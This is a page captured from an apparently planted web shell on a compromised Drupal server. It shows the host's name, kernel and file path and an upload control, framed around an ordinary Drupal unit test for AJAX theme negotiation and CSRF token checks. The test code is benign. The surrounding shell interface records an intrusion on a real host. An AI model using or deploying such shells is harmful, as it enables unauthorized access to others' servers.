Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/holz-machines/web/core/tests/Drupal/Tests/Core/Theme/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/holz-machines/web/core/tests/Drupal/Tests/Core/Theme/AjaxBasePageNegotiatorTest.php

<?php

namespace Drupal\Tests\Core\Theme;

use Drupal\Core\Access\CsrfTokenGenerator;
use Drupal\Core\Routing\RouteMatch;
use Drupal\Core\Theme\AjaxBasePageNegotiator;
use Drupal\Tests\UnitTestCase;
use Prophecy\Argument;
use Symfony\Component\HttpFoundation\InputBag;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;

/**
 * @coversDefaultClass \Drupal\Core\Theme\AjaxBasePageNegotiator
 * @group Theme
 */
class AjaxBasePageNegotiatorTest extends UnitTestCase {

  /**
   * @var \Drupal\Core\Theme\AjaxBasePageNegotiator
   *
   * The AJAX base page negotiator.
   */
  protected $negotiator;

  /**
   * @var \Drupal\Core\Access\CsrfTokenGenerator|\Prophecy\Prophecy\ProphecyInterface
   *
   * The CSRF token generator.
   */
  protected $tokenGenerator;

  /**
   * @var \Symfony\Component\HttpFoundation\RequestStack
   *
   * The request stack.
   */
  protected $requestStack;

  /**
   * {@inheritdoc}
   */
  protected function setUp(): void {
    parent::setUp();

    $this->tokenGenerator = $this->prophesize(CsrfTokenGenerator::class);
    $config_factory = $this->getConfigFactoryStub(['system.theme' => ['default' => 'stark']]);
    $this->requestStack = new RequestStack();
    $this->negotiator = new AjaxBasePageNegotiator($this->tokenGenerator->reveal(), $config_factory, $this->requestStack);
  }

  /**
   * @covers ::applies
   * @dataProvider providerTestApplies
   */
  public function testApplies($request_data, $expected) {
    $request = new Request([], $request_data);
    $request->request = new InputBag($request->request->all());
    $route_match = RouteMatch::createFromRequest($request);
    $this->requestStack->push($request);

    $result = $this->negotiator->applies($route_match);
    $this->assertSame($expected, $result);
  }

  public function providerTestApplies() {
    $data = [];
    $data['empty'] = [[], FALSE];
    $data['no_theme'] = [['ajax_page_state' => ['theme' => '', 'theme_token' => '']], FALSE];
    $data['valid_theme_empty_theme_token'] = [['ajax_page_state' => ['theme' => 'claro', 'theme_token' => '']], TRUE];
    $data['valid_theme_valid_theme_token'] = [['ajax_page_state' => ['theme' => 'claro', 'theme_token' => 'valid_theme_token']], TRUE];
    return $data;
  }

  /**
   * @covers ::determineActiveTheme
   */
  public function testDetermineActiveThemeValidToken() {
    $theme = 'claro';
    $theme_token = 'valid_theme_token';

    $request = new Request([], ['ajax_page_state' => ['theme' => $theme, 'theme_token' => $theme_token]]);
    $request->request = new InputBag($request->request->all());
    $this->requestStack->push($request);
    $route_match = RouteMatch::createFromRequest($request);

    $this->tokenGenerator->validate($theme_token, $theme)->willReturn(TRUE);

    $result = $this->negotiator->determineActiveTheme($route_match);
    $this->assertSame($theme, $result);
  }

  /**
   * @covers ::determineActiveTheme
   */
  public function testDetermineActiveThemeInvalidToken() {
    $theme = 'claro';
    $theme_token = 'invalid_theme_token';

    $request = new Request([], ['ajax_page_state' => ['theme' => $theme, 'theme_token' => $theme_token]]);
    $request->request = new InputBag($request->request->all());
    $this->requestStack->push($request);
    $route_match = RouteMatch::createFromRequest($request);

    $this->tokenGenerator->validate($theme_token, $theme)->willReturn(FALSE);

    $result = $this->negotiator->determineActiveTheme($route_match);
    $this->assertSame(NULL, $result);
  }

  /**
   * @covers ::determineActiveTheme
   */
  public function testDetermineActiveThemeDefaultTheme() {
    $theme = 'stark';
    // When the theme is the system default, an empty string is provided as the
    // theme token. See system_js_settings_alter().
    $theme_token = '';

    $request = new Request([], ['ajax_page_state' => ['theme' => $theme, 'theme_token' => $theme_token]]);
    $request->request = new InputBag($request->request->all());
    $this->requestStack->push($request);
    $route_match = RouteMatch::createFromRequest($request);

    $this->tokenGenerator->validate(Argument::cetera())->shouldNotBeCalled();

    $result = $this->negotiator->determineActiveTheme($route_match);
    $this->assertSame($theme, $result);
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net